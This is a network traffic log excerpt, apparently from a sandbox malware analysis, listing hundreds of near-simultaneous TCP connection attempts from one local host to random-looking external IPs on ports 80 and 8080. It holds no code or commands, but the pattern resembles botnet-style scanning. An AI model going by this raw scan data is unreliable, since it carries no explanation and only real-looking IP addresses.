Mar 4, 2024 15:05:31.153892040 CET	48089	80	192.168.2.13	88.88.215.9
Mar 4, 2024 15:05:31.153898001 CET	48089	80	192.168.2.13	88.48.126.6
Mar 4, 2024 15:05:31.153886080 CET	48089	80	192.168.2.13	88.80.158.70
Mar 4, 2024 15:05:31.153909922 CET	48089	80	192.168.2.13	88.252.235.82
Mar 4, 2024 15:05:31.153923035 CET	48089	80	192.168.2.13	88.154.167.178
Mar 4, 2024 15:05:31.153929949 CET	48089	80	192.168.2.13	88.136.205.170
Mar 4, 2024 15:05:31.153949022 CET	48089	80	192.168.2.13	88.36.44.0
Mar 4, 2024 15:05:31.153964043 CET	48089	80	192.168.2.13	88.172.120.184
Mar 4, 2024 15:05:31.153968096 CET	48089	80	192.168.2.13	88.109.71.56
Mar 4, 2024 15:05:31.153970957 CET	48089	80	192.168.2.13	88.246.138.131
Mar 4, 2024 15:05:31.153970957 CET	48089	80	192.168.2.13	88.119.250.235
Mar 4, 2024 15:05:31.153970957 CET	48089	80	192.168.2.13	88.204.194.249
Mar 4, 2024 15:05:31.153991938 CET	48089	80	192.168.2.13	88.161.127.195
Mar 4, 2024 15:05:31.154000044 CET	48089	80	192.168.2.13	88.111.110.18
Mar 4, 2024 15:05:31.154000998 CET	48089	80	192.168.2.13	88.242.10.203
Mar 4, 2024 15:05:31.154001951 CET	48089	80	192.168.2.13	88.239.251.165
Mar 4, 2024 15:05:31.154006004 CET	48089	80	192.168.2.13	88.219.214.148
Mar 4, 2024 15:05:31.154015064 CET	48089	80	192.168.2.13	88.12.8.42
Mar 4, 2024 15:05:31.154021978 CET	48089	80	192.168.2.13	88.151.132.40
Mar 4, 2024 15:05:31.154023886 CET	48089	80	192.168.2.13	88.153.64.24
Mar 4, 2024 15:05:31.154027939 CET	48089	80	192.168.2.13	88.203.56.116
Mar 4, 2024 15:05:31.154031992 CET	48089	80	192.168.2.13	88.80.8.245
Mar 4, 2024 15:05:31.154032946 CET	48089	80	192.168.2.13	88.65.67.20
Mar 4, 2024 15:05:31.154035091 CET	48089	80	192.168.2.13	88.213.223.74
Mar 4, 2024 15:05:31.154051065 CET	48089	80	192.168.2.13	88.47.176.86
Mar 4, 2024 15:05:31.154052019 CET	48089	80	192.168.2.13	88.222.66.207
Mar 4, 2024 15:05:31.154067039 CET	48089	80	192.168.2.13	88.128.38.92
Mar 4, 2024 15:05:31.154068947 CET	48089	80	192.168.2.13	88.161.127.41
Mar 4, 2024 15:05:31.154083014 CET	48089	80	192.168.2.13	88.125.36.122
Mar 4, 2024 15:05:31.154087067 CET	48089	80	192.168.2.13	88.17.201.172
Mar 4, 2024 15:05:31.154105902 CET	48089	80	192.168.2.13	88.7.116.33
Mar 4, 2024 15:05:31.154114962 CET	48089	80	192.168.2.13	88.242.144.204
Mar 4, 2024 15:05:31.154130936 CET	48089	80	192.168.2.13	88.251.129.209
Mar 4, 2024 15:05:31.154130936 CET	48089	80	192.168.2.13	88.241.165.104
Mar 4, 2024 15:05:31.154133081 CET	48089	80	192.168.2.13	88.107.154.243
Mar 4, 2024 15:05:31.154134989 CET	48089	80	192.168.2.13	88.233.222.50
Mar 4, 2024 15:05:31.154134989 CET	48089	80	192.168.2.13	88.106.17.184
Mar 4, 2024 15:05:31.154149055 CET	48089	80	192.168.2.13	88.19.31.154
Mar 4, 2024 15:05:31.154149055 CET	48089	80	192.168.2.13	88.122.60.167
Mar 4, 2024 15:05:31.154153109 CET	48089	80	192.168.2.13	88.227.145.224
Mar 4, 2024 15:05:31.154169083 CET	48089	80	192.168.2.13	88.196.7.4
Mar 4, 2024 15:05:31.154181004 CET	48089	80	192.168.2.13	88.87.56.8
Mar 4, 2024 15:05:31.154181004 CET	48089	80	192.168.2.13	88.52.62.126
Mar 4, 2024 15:05:31.154200077 CET	48089	80	192.168.2.13	88.23.184.240
Mar 4, 2024 15:05:31.154200077 CET	48089	80	192.168.2.13	88.144.234.5
Mar 4, 2024 15:05:31.154218912 CET	48089	80	192.168.2.13	88.249.124.183
Mar 4, 2024 15:05:31.154223919 CET	48089	80	192.168.2.13	88.203.116.164
Mar 4, 2024 15:05:31.154244900 CET	48089	80	192.168.2.13	88.13.203.54
Mar 4, 2024 15:05:31.154244900 CET	48089	80	192.168.2.13	88.125.0.210
Mar 4, 2024 15:05:31.154248953 CET	48089	80	192.168.2.13	88.13.210.174
Mar 4, 2024 15:05:31.154254913 CET	48089	80	192.168.2.13	88.37.80.135
Mar 4, 2024 15:05:31.154274940 CET	48089	80	192.168.2.13	88.115.206.150
Mar 4, 2024 15:05:31.154277086 CET	48089	80	192.168.2.13	88.140.215.172
Mar 4, 2024 15:05:31.154288054 CET	48089	80	192.168.2.13	88.155.24.169
Mar 4, 2024 15:05:31.154304028 CET	48089	80	192.168.2.13	88.85.209.122
Mar 4, 2024 15:05:31.154304028 CET	48089	80	192.168.2.13	88.148.249.13
Mar 4, 2024 15:05:31.154309034 CET	48089	80	192.168.2.13	88.202.143.252
Mar 4, 2024 15:05:31.154330969 CET	48089	80	192.168.2.13	88.223.245.158
Mar 4, 2024 15:05:31.154341936 CET	48089	80	192.168.2.13	88.192.103.153
Mar 4, 2024 15:05:31.154349089 CET	48089	80	192.168.2.13	88.2.145.255
Mar 4, 2024 15:05:31.154356003 CET	48089	80	192.168.2.13	88.251.81.9
Mar 4, 2024 15:05:31.154356003 CET	48089	80	192.168.2.13	88.177.131.8
Mar 4, 2024 15:05:31.154365063 CET	47577	8080	192.168.2.13	62.94.179.8
Mar 4, 2024 15:05:31.154369116 CET	48089	80	192.168.2.13	88.17.89.184
Mar 4, 2024 15:05:31.154370070 CET	47577	8080	192.168.2.13	85.2.104.206
Mar 4, 2024 15:05:31.154372931 CET	47577	8080	192.168.2.13	95.92.243.124
Mar 4, 2024 15:05:31.154381037 CET	47577	8080	192.168.2.13	31.44.253.99
Mar 4, 2024 15:05:31.154393911 CET	48089	80	192.168.2.13	88.204.9.126
Mar 4, 2024 15:05:31.154393911 CET	48089	80	192.168.2.13	88.232.231.57
Mar 4, 2024 15:05:31.154397964 CET	47577	8080	192.168.2.13	85.57.84.98
Mar 4, 2024 15:05:31.154403925 CET	47577	8080	192.168.2.13	95.109.47.122
Mar 4, 2024 15:05:31.154403925 CET	48089	80	192.168.2.13	88.88.137.149
Mar 4, 2024 15:05:31.154405117 CET	47577	8080	192.168.2.13	94.133.178.212
Mar 4, 2024 15:05:31.154405117 CET	47577	8080	192.168.2.13	62.181.84.124
Mar 4, 2024 15:05:31.154405117 CET	47577	8080	192.168.2.13	31.147.183.231
Mar 4, 2024 15:05:31.154412985 CET	47577	8080	192.168.2.13	31.137.15.191
Mar 4, 2024 15:05:31.154412985 CET	47577	8080	192.168.2.13	62.237.219.245
Mar 4, 2024 15:05:31.154417038 CET	47577	8080	192.168.2.13	31.5.49.152
Mar 4, 2024 15:05:31.154417038 CET	47577	8080	192.168.2.13	94.127.202.96
Mar 4, 2024 15:05:31.154417038 CET	47577	8080	192.168.2.13	94.211.57.60
Mar 4, 2024 15:05:31.154421091 CET	47577	8080	192.168.2.13	62.237.184.169
Mar 4, 2024 15:05:31.154421091 CET	47577	8080	192.168.2.13	31.209.1.244
Mar 4, 2024 15:05:31.154417038 CET	47577	8080	192.168.2.13	94.115.227.254
Mar 4, 2024 15:05:31.154429913 CET	47577	8080	192.168.2.13	62.144.168.50
Mar 4, 2024 15:05:31.154432058 CET	47577	8080	192.168.2.13	62.55.112.72
Mar 4, 2024 15:05:31.154432058 CET	47577	8080	192.168.2.13	95.132.185.62
Mar 4, 2024 15:05:31.154429913 CET	47577	8080	192.168.2.13	85.156.132.148
Mar 4, 2024 15:05:31.154434919 CET	48089	80	192.168.2.13	88.71.48.56
Mar 4, 2024 15:05:31.154431105 CET	47577	8080	192.168.2.13	31.87.75.120
Mar 4, 2024 15:05:31.154431105 CET	47577	8080	192.168.2.13	62.5.84.219
Mar 4, 2024 15:05:31.154441118 CET	47577	8080	192.168.2.13	31.105.184.165
Mar 4, 2024 15:05:31.154441118 CET	47577	8080	192.168.2.13	94.141.224.3
Mar 4, 2024 15:05:31.154452085 CET	47577	8080	192.168.2.13	62.111.91.70
Mar 4, 2024 15:05:31.154452085 CET	48089	80	192.168.2.13	88.41.246.78
Mar 4, 2024 15:05:31.154454947 CET	47577	8080	192.168.2.13	85.141.121.189
Mar 4, 2024 15:05:31.154472113 CET	47577	8080	192.168.2.13	85.222.167.133
Mar 4, 2024 15:05:31.154479980 CET	48089	80	192.168.2.13	88.19.198.143
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	85.228.184.137
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	62.150.48.149
Mar 4, 2024 15:05:31.154484987 CET	47577	8080	192.168.2.13	31.171.217.132
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	94.108.147.147
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	95.185.169.33
Mar 4, 2024 15:05:31.154484034 CET	48089	80	192.168.2.13	88.135.98.3
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	85.126.249.107
Mar 4, 2024 15:05:31.154484034 CET	47577	8080	192.168.2.13	94.29.151.222
Mar 4, 2024 15:05:31.154494047 CET	47577	8080	192.168.2.13	62.104.195.62
Mar 4, 2024 15:05:31.154494047 CET	48089	80	192.168.2.13	88.147.95.198
Mar 4, 2024 15:05:31.154509068 CET	47577	8080	192.168.2.13	85.246.204.165
Mar 4, 2024 15:05:31.154509068 CET	47577	8080	192.168.2.13	62.255.174.97
Mar 4, 2024 15:05:31.154509068 CET	47577	8080	192.168.2.13	62.179.72.23
Mar 4, 2024 15:05:31.154512882 CET	47577	8080	192.168.2.13	94.157.170.67
Mar 4, 2024 15:05:31.154512882 CET	48089	80	192.168.2.13	88.84.18.201
Mar 4, 2024 15:05:31.154519081 CET	47577	8080	192.168.2.13	31.57.32.122
Mar 4, 2024 15:05:31.154520988 CET	47577	8080	192.168.2.13	94.192.12.166
Mar 4, 2024 15:05:31.154519081 CET	47577	8080	192.168.2.13	85.22.152.164
Mar 4, 2024 15:05:31.154519081 CET	48089	80	192.168.2.13	88.22.18.173
Mar 4, 2024 15:05:31.154519081 CET	47577	8080	192.168.2.13	95.230.133.185
Mar 4, 2024 15:05:31.154519081 CET	47577	8080	192.168.2.13	94.111.168.125
Mar 4, 2024 15:05:31.154519081 CET	47577	8080	192.168.2.13	85.124.210.38
Mar 4, 2024 15:05:31.154526949 CET	47577	8080	192.168.2.13	85.3.21.185
Mar 4, 2024 15:05:31.154526949 CET	47577	8080	192.168.2.13	85.84.154.250
Mar 4, 2024 15:05:31.154526949 CET	47577	8080	192.168.2.13	62.52.170.127
Mar 4, 2024 15:05:31.154526949 CET	47577	8080	192.168.2.13	85.138.58.37
Mar 4, 2024 15:05:31.154526949 CET	47577	8080	192.168.2.13	94.8.153.116
Mar 4, 2024 15:05:31.154531956 CET	47577	8080	192.168.2.13	85.153.118.171
Mar 4, 2024 15:05:31.154535055 CET	47577	8080	192.168.2.13	31.99.12.216
Mar 4, 2024 15:05:31.154541969 CET	47577	8080	192.168.2.13	62.63.204.195
Mar 4, 2024 15:05:31.154541969 CET	48089	80	192.168.2.13	88.106.94.81
Mar 4, 2024 15:05:31.154545069 CET	47577	8080	192.168.2.13	85.250.144.173
Mar 4, 2024 15:05:31.154545069 CET	47577	8080	192.168.2.13	31.72.122.254
Mar 4, 2024 15:05:31.154545069 CET	47577	8080	192.168.2.13	95.223.193.164
Mar 4, 2024 15:05:31.154545069 CET	48089	80	192.168.2.13	88.166.237.230
Mar 4, 2024 15:05:31.154545069 CET	47577	8080	192.168.2.13	94.9.52.208
Mar 4, 2024 15:05:31.154553890 CET	48089	80	192.168.2.13	88.180.145.10
Mar 4, 2024 15:05:31.154560089 CET	47577	8080	192.168.2.13	62.156.83.149
Mar 4, 2024 15:05:31.154566050 CET	47577	8080	192.168.2.13	95.229.191.220
Mar 4, 2024 15:05:31.154567003 CET	47577	8080	192.168.2.13	85.198.120.59
Mar 4, 2024 15:05:31.154567957 CET	47577	8080	192.168.2.13	85.175.130.160
Mar 4, 2024 15:05:31.154572010 CET	47577	8080	192.168.2.13	94.244.118.22
Mar 4, 2024 15:05:31.154580116 CET	47577	8080	192.168.2.13	31.93.113.134
Mar 4, 2024 15:05:31.154586077 CET	47577	8080	192.168.2.13	95.1.105.50
Mar 4, 2024 15:05:31.154586077 CET	47577	8080	192.168.2.13	94.123.224.147
Mar 4, 2024 15:05:31.154587984 CET	47577	8080	192.168.2.13	62.212.94.144
Mar 4, 2024 15:05:31.154587984 CET	48089	80	192.168.2.13	88.223.119.107
Mar 4, 2024 15:05:31.154587984 CET	47577	8080	192.168.2.13	85.121.133.124
Mar 4, 2024 15:05:31.154587984 CET	48089	80	192.168.2.13	88.192.153.183
Mar 4, 2024 15:05:31.154603004 CET	47577	8080	192.168.2.13	95.232.50.202
Mar 4, 2024 15:05:31.154603958 CET	47577	8080	192.168.2.13	62.76.10.6
Mar 4, 2024 15:05:31.154603004 CET	47577	8080	192.168.2.13	85.113.34.146
Mar 4, 2024 15:05:31.154603004 CET	47577	8080	192.168.2.13	95.195.82.77
Mar 4, 2024 15:05:31.154603004 CET	47577	8080	192.168.2.13	94.196.48.63
Mar 4, 2024 15:05:31.154612064 CET	47577	8080	192.168.2.13	95.169.177.18
Mar 4, 2024 15:05:31.154613018 CET	47577	8080	192.168.2.13	94.6.230.52
Mar 4, 2024 15:05:31.154616117 CET	47577	8080	192.168.2.13	95.120.186.160
Mar 4, 2024 15:05:31.154616117 CET	48089	80	192.168.2.13	88.62.34.189
Mar 4, 2024 15:05:31.154616117 CET	47577	8080	192.168.2.13	95.85.65.239
Mar 4, 2024 15:05:31.154616117 CET	48089	80	192.168.2.13	88.238.203.170
Mar 4, 2024 15:05:31.154622078 CET	47577	8080	192.168.2.13	95.139.177.62
Mar 4, 2024 15:05:31.154616117 CET	47577	8080	192.168.2.13	95.148.124.217
Mar 4, 2024 15:05:31.154616117 CET	48089	80	192.168.2.13	88.237.14.26
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	62.193.202.251
Mar 4, 2024 15:05:31.154632092 CET	47577	8080	192.168.2.13	62.127.3.31
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	94.234.102.253
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	62.107.156.36
Mar 4, 2024 15:05:31.154633999 CET	48089	80	192.168.2.13	88.43.209.146
Mar 4, 2024 15:05:31.154633999 CET	48089	80	192.168.2.13	88.147.226.142
Mar 4, 2024 15:05:31.154638052 CET	47577	8080	192.168.2.13	94.239.47.222
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	62.130.170.107
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	94.149.106.67
Mar 4, 2024 15:05:31.154633999 CET	47577	8080	192.168.2.13	85.208.45.116
Mar 4, 2024 15:05:31.154639959 CET	47577	8080	192.168.2.13	95.144.69.104
Mar 4, 2024 15:05:31.154639959 CET	48089	80	192.168.2.13	88.19.68.103
Mar 4, 2024 15:05:31.154639959 CET	47577	8080	192.168.2.13	94.200.62.164
Mar 4, 2024 15:05:31.154640913 CET	47577	8080	192.168.2.13	31.238.122.49
Mar 4, 2024 15:05:31.154640913 CET	47577	8080	192.168.2.13	94.202.192.126
Mar 4, 2024 15:05:31.154654980 CET	48089	80	192.168.2.13	88.88.179.19
Mar 4, 2024 15:05:31.154654980 CET	48089	80	192.168.2.13	88.120.21.182
Mar 4, 2024 15:05:31.154664993 CET	47577	8080	192.168.2.13	85.87.239.126
Mar 4, 2024 15:05:31.154664993 CET	47577	8080	192.168.2.13	85.129.16.0
Mar 4, 2024 15:05:31.154664993 CET	47577	8080	192.168.2.13	95.231.181.36
Mar 4, 2024 15:05:31.154664993 CET	48089	80	192.168.2.13	88.128.207.140
Mar 4, 2024 15:05:31.154664993 CET	48089	80	192.168.2.13	88.234.146.154
Mar 4, 2024 15:05:31.154669046 CET	47577	8080	192.168.2.13	95.120.177.132
Mar 4, 2024 15:05:31.154670000 CET	47577	8080	192.168.2.13	94.29.60.159
Mar 4, 2024 15:05:31.154670000 CET	47577	8080	192.168.2.13	85.163.65.119
Mar 4, 2024 15:05:31.154670000 CET	47577	8080	192.168.2.13	85.20.220.120
Mar 4, 2024 15:05:31.154670000 CET	47577	8080	192.168.2.13	85.123.232.37
Mar 4, 2024 15:05:31.154670000 CET	47577	8080	192.168.2.13	85.10.162.151
Mar 4, 2024 15:05:31.154676914 CET	47577	8080	192.168.2.13	95.78.86.158
Mar 4, 2024 15:05:31.154679060 CET	47577	8080	192.168.2.13	62.191.14.18
Mar 4, 2024 15:05:31.154679060 CET	47577	8080	192.168.2.13	31.29.97.255
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	85.180.140.179
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	31.164.213.213
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	94.84.252.45
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	31.85.125.133
Mar 4, 2024 15:05:31.154710054 CET	47577	8080	192.168.2.13	62.67.14.156
Mar 4, 2024 15:05:31.154707909 CET	48089	80	192.168.2.13	88.44.239.41
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	85.77.48.199
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	85.76.119.16
Mar 4, 2024 15:05:31.154707909 CET	47577	8080	192.168.2.13	62.17.135.91
Mar 4, 2024 15:05:31.154709101 CET	47577	8080	192.168.2.13	95.62.92.15
Mar 4, 2024 15:05:31.154709101 CET	47577	8080	192.168.2.13	31.101.66.73
Mar 4, 2024 15:05:31.154709101 CET	47577	8080	192.168.2.13	95.48.44.86
Mar 4, 2024 15:05:31.154716015 CET	47577	8080	192.168.2.13	85.24.206.131
Mar 4, 2024 15:05:31.154716015 CET	47577	8080	192.168.2.13	95.62.138.82
Mar 4, 2024 15:05:31.154716015 CET	48089	80	192.168.2.13	88.9.31.114
Mar 4, 2024 15:05:31.154716969 CET	47577	8080	192.168.2.13	85.190.46.102
Mar 4, 2024 15:05:31.154716015 CET	47577	8080	192.168.2.13	31.16.191.66
Mar 4, 2024 15:05:31.154716969 CET	47577	8080	192.168.2.13	62.33.60.236
Mar 4, 2024 15:05:31.154716015 CET	48089	80	192.168.2.13	88.15.253.181
Mar 4, 2024 15:05:31.154716969 CET	47577	8080	192.168.2.13	94.28.82.95
Mar 4, 2024 15:05:31.154717922 CET	47577	8080	192.168.2.13	62.139.229.180
Mar 4, 2024 15:05:31.154717922 CET	47577	8080	192.168.2.13	31.214.143.18
Mar 4, 2024 15:05:31.154721022 CET	48089	80	192.168.2.13	88.98.149.168
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	94.204.211.155
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	95.165.189.2
Mar 4, 2024 15:05:31.154721022 CET	48089	80	192.168.2.13	88.194.163.94
Mar 4, 2024 15:05:31.154732943 CET	47577	8080	192.168.2.13	62.199.138.6
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	62.39.4.69
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	95.9.77.170
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	62.163.147.24
Mar 4, 2024 15:05:31.154721022 CET	47577	8080	192.168.2.13	31.163.80.5
Mar 4, 2024 15:05:31.154742002 CET	47577	8080	192.168.2.13	95.111.81.183
Mar 4, 2024 15:05:31.154742002 CET	48089	80	192.168.2.13	88.159.243.192
Mar 4, 2024 15:05:31.154742002 CET	47577	8080	192.168.2.13	62.15.140.241
Mar 4, 2024 15:05:31.154742002 CET	47577	8080	192.168.2.13	95.204.85.7
Mar 4, 2024 15:05:31.154742002 CET	48089	80	192.168.2.13	88.136.92.122
Mar 4, 2024 15:05:31.154742956 CET	47577	8080	192.168.2.13	31.135.73.179
Mar 4, 2024 15:05:31.154742956 CET	47577	8080	192.168.2.13	95.75.88.238
Mar 4, 2024 15:05:31.154766083 CET	47577	8080	192.168.2.13	85.184.35.162
Mar 4, 2024 15:05:31.154766083 CET	47577	8080	192.168.2.13	95.82.183.169
Mar 4, 2024 15:05:31.154771090 CET	47577	8080	192.168.2.13	95.59.8.141
Mar 4, 2024 15:05:31.154772043 CET	47577	8080	192.168.2.13	62.213.2.236
Mar 4, 2024 15:05:31.154772043 CET	47577	8080	192.168.2.13	95.240.22.20
Mar 4, 2024 15:05:31.154772043 CET	47577	8080	192.168.2.13	95.102.137.205
Mar 4, 2024 15:05:31.154772043 CET	47577	8080	192.168.2.13	62.91.5.200
Mar 4, 2024 15:05:31.154772043 CET	47577	8080	192.168.2.13	94.127.84.216
Mar 4, 2024 15:05:31.154774904 CET	47577	8080	192.168.2.13	94.180.228.98
Mar 4, 2024 15:05:31.154781103 CET	47577	8080	192.168.2.13	31.187.63.133
Mar 4, 2024 15:05:31.154781103 CET	47577	8080	192.168.2.13	31.109.24.124
Mar 4, 2024 15:05:31.154782057 CET	47577	8080	192.168.2.13	31.133.67.176
Mar 4, 2024 15:05:31.154782057 CET	48089	80	192.168.2.13	88.176.225.68
Mar 4, 2024 15:05:31.154782057 CET	48089	80	192.168.2.13	88.153.189.50
Mar 4, 2024 15:05:31.154789925 CET	47577	8080	192.168.2.13	85.101.117.98
Mar 4, 2024 15:05:31.154782057 CET	47577	8080	192.168.2.13	31.25.120.112
Mar 4, 2024 15:05:31.154782057 CET	48089	80	192.168.2.13	88.61.57.94
Mar 4, 2024 15:05:31.154798031 CET	47577	8080	192.168.2.13	95.130.146.62
Mar 4, 2024 15:05:31.154782057 CET	47577	8080	192.168.2.13	94.212.57.101
Mar 4, 2024 15:05:31.154798031 CET	47577	8080	192.168.2.13	31.208.105.203
Mar 4, 2024 15:05:31.154805899 CET	47577	8080	192.168.2.13	85.9.139.67
Mar 4, 2024 15:05:31.154805899 CET	47577	8080	192.168.2.13	85.20.44.168
Mar 4, 2024 15:05:31.154813051 CET	48089	80	192.168.2.13	88.117.50.52
Mar 4, 2024 15:05:31.154818058 CET	48089	80	192.168.2.13	88.171.222.166
Mar 4, 2024 15:05:31.154818058 CET	47577	8080	192.168.2.13	31.223.181.117
Mar 4, 2024 15:05:31.154824018 CET	47577	8080	192.168.2.13	85.123.179.20
Mar 4, 2024 15:05:31.154824018 CET	48089	80	192.168.2.13	88.21.106.124
Mar 4, 2024 15:05:31.154824018 CET	47577	8080	192.168.2.13	62.167.57.152
Mar 4, 2024 15:05:31.154828072 CET	47577	8080	192.168.2.13	94.101.222.150
Mar 4, 2024 15:05:31.154836893 CET	47577	8080	192.168.2.13	94.115.206.231
Mar 4, 2024 15:05:31.154843092 CET	47577	8080	192.168.2.13	62.235.104.236
Mar 4, 2024 15:05:31.154844046 CET	47577	8080	192.168.2.13	85.155.105.230
Mar 4, 2024 15:05:31.154848099 CET	47577	8080	192.168.2.13	95.218.150.250
Mar 4, 2024 15:05:31.154851913 CET	47577	8080	192.168.2.13	95.20.202.63
Mar 4, 2024 15:05:31.154851913 CET	47577	8080	192.168.2.13	31.88.12.250
Mar 4, 2024 15:05:31.154851913 CET	47577	8080	192.168.2.13	62.108.178.183
Mar 4, 2024 15:05:31.154854059 CET	48089	80	192.168.2.13	88.103.147.75
Mar 4, 2024 15:05:31.154860020 CET	47577	8080	192.168.2.13	94.209.243.246
Mar 4, 2024 15:05:31.154860020 CET	48089	80	192.168.2.13	88.117.234.135
Mar 4, 2024 15:05:31.154861927 CET	47577	8080	192.168.2.13	95.206.48.71
Mar 4, 2024 15:05:31.154863119 CET	48089	80	192.168.2.13	88.196.22.187
Mar 4, 2024 15:05:31.154870987 CET	47577	8080	192.168.2.13	31.22.220.119
Mar 4, 2024 15:05:31.154870987 CET	48089	80	192.168.2.13	88.102.171.15
Mar 4, 2024 15:05:31.154875040 CET	47577	8080	192.168.2.13	62.136.254.202
Mar 4, 2024 15:05:31.154875994 CET	47577	8080	192.168.2.13	85.40.34.65
Mar 4, 2024 15:05:31.154870987 CET	48089	80	192.168.2.13	88.160.158.74
Mar 4, 2024 15:05:31.154870987 CET	48089	80	192.168.2.13	88.218.157.226
Mar 4, 2024 15:05:31.154870987 CET	47577	8080	192.168.2.13	95.128.250.207
Mar 4, 2024 15:05:31.154871941 CET	47577	8080	192.168.2.13	94.81.4.107
Mar 4, 2024 15:05:31.154880047 CET	47577	8080	192.168.2.13	94.91.197.39
Mar 4, 2024 15:05:31.154871941 CET	47577	8080	192.168.2.13	94.162.72.183
Mar 4, 2024 15:05:31.154880047 CET	47577	8080	192.168.2.13	94.147.250.117
Mar 4, 2024 15:05:31.154891014 CET	47577	8080	192.168.2.13	94.32.5.249
Mar 4, 2024 15:05:31.154896021 CET	47577	8080	192.168.2.13	62.32.28.204
Mar 4, 2024 15:05:31.154905081 CET	48089	80	192.168.2.13	88.123.9.5
Mar 4, 2024 15:05:31.154906034 CET	47577	8080	192.168.2.13	85.197.194.103
Mar 4, 2024 15:05:31.154905081 CET	47577	8080	192.168.2.13	95.54.221.105
Mar 4, 2024 15:05:31.154906034 CET	48089	80	192.168.2.13	88.149.195.141
Mar 4, 2024 15:05:31.154912949 CET	47577	8080	192.168.2.13	85.100.159.197
Mar 4, 2024 15:05:31.154915094 CET	48089	80	192.168.2.13	88.43.14.159
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	94.78.161.139
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	94.58.170.85
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	95.142.149.125
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	95.5.83.100
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	94.20.97.121
Mar 4, 2024 15:05:31.154915094 CET	48089	80	192.168.2.13	88.17.249.161
Mar 4, 2024 15:05:31.154915094 CET	47577	8080	192.168.2.13	94.179.147.68
Mar 4, 2024 15:05:31.154927015 CET	48089	80	192.168.2.13	88.11.27.144
Mar 4, 2024 15:05:31.154934883 CET	47577	8080	192.168.2.13	94.139.128.103
Mar 4, 2024 15:05:31.154941082 CET	47577	8080	192.168.2.13	85.52.96.204
Mar 4, 2024 15:05:31.154941082 CET	47577	8080	192.168.2.13	31.210.207.22
Mar 4, 2024 15:05:31.154942989 CET	47577	8080	192.168.2.13	95.229.216.197
Mar 4, 2024 15:05:31.154942989 CET	48089	80	192.168.2.13	88.252.219.243
Mar 4, 2024 15:05:31.154946089 CET	47577	8080	192.168.2.13	85.212.104.75
Mar 4, 2024 15:05:31.154947042 CET	47577	8080	192.168.2.13	85.254.200.33
Mar 4, 2024 15:05:31.154964924 CET	47577	8080	192.168.2.13	62.29.231.97
Mar 4, 2024 15:05:31.154964924 CET	47577	8080	192.168.2.13	31.166.52.123
Mar 4, 2024 15:05:31.154964924 CET	47577	8080	192.168.2.13	62.23.198.199
Mar 4, 2024 15:05:31.154973030 CET	48089	80	192.168.2.13	88.67.244.221
Mar 4, 2024 15:05:31.154975891 CET	48089	80	192.168.2.13	88.34.12.115
Mar 4, 2024 15:05:31.154975891 CET	48089	80	192.168.2.13	88.31.17.64
Mar 4, 2024 15:05:31.154978037 CET	47577	8080	192.168.2.13	95.24.124.145
Mar 4, 2024 15:05:31.154978037 CET	47577	8080	192.168.2.13	85.171.194.53
Mar 4, 2024 15:05:31.154980898 CET	47577	8080	192.168.2.13	85.5.135.238
Mar 4, 2024 15:05:31.154983997 CET	48089	80	192.168.2.13	88.167.100.24
Mar 4, 2024 15:05:31.155000925 CET	47577	8080	192.168.2.13	94.168.167.133
Mar 4, 2024 15:05:31.155009031 CET	47577	8080	192.168.2.13	94.232.132.142
Mar 4, 2024 15:05:31.155016899 CET	47577	8080	192.168.2.13	62.255.38.0
Mar 4, 2024 15:05:31.155016899 CET	48089	80	192.168.2.13	88.249.146.64
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	62.243.108.220
Mar 4, 2024 15:05:31.155018091 CET	47577	8080	192.168.2.13	62.126.96.37
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	62.135.70.250
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	95.61.174.218
Mar 4, 2024 15:05:31.155018091 CET	47577	8080	192.168.2.13	95.11.151.41
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	85.65.249.3
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	95.42.30.188
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	95.67.97.62
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	31.47.88.47
Mar 4, 2024 15:05:31.155019045 CET	47577	8080	192.168.2.13	94.5.12.250
Mar 4, 2024 15:05:31.155019045 CET	48089	80	192.168.2.13	88.236.193.147
Mar 4, 2024 15:05:31.155036926 CET	47577	8080	192.168.2.13	31.182.46.234
Mar 4, 2024 15:05:31.155036926 CET	47577	8080	192.168.2.13	85.237.151.127
Mar 4, 2024 15:05:31.155036926 CET	47577	8080	192.168.2.13	94.33.55.187
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	85.225.12.59
Mar 4, 2024 15:05:31.155036926 CET	48089	80	192.168.2.13	88.85.198.72
Mar 4, 2024 15:05:31.155038118 CET	48089	80	192.168.2.13	88.110.51.232
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	85.238.63.61
